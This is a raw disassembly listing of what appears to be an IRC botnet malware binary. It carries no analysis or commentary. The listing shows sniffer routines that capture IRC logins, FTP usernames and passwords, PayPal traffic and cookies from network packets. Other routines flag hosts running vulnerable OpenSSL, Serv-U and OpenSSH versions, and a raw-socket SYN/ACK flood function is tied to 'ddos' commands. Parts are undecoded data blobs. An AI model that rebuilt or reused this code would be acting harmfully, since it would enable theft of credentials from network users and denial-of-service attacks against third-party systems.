		dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EB0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
		dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435A98
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A64
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A30
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359FC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359C4


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43598C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 93E80000h, 900226E2h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2780332h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2780000h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
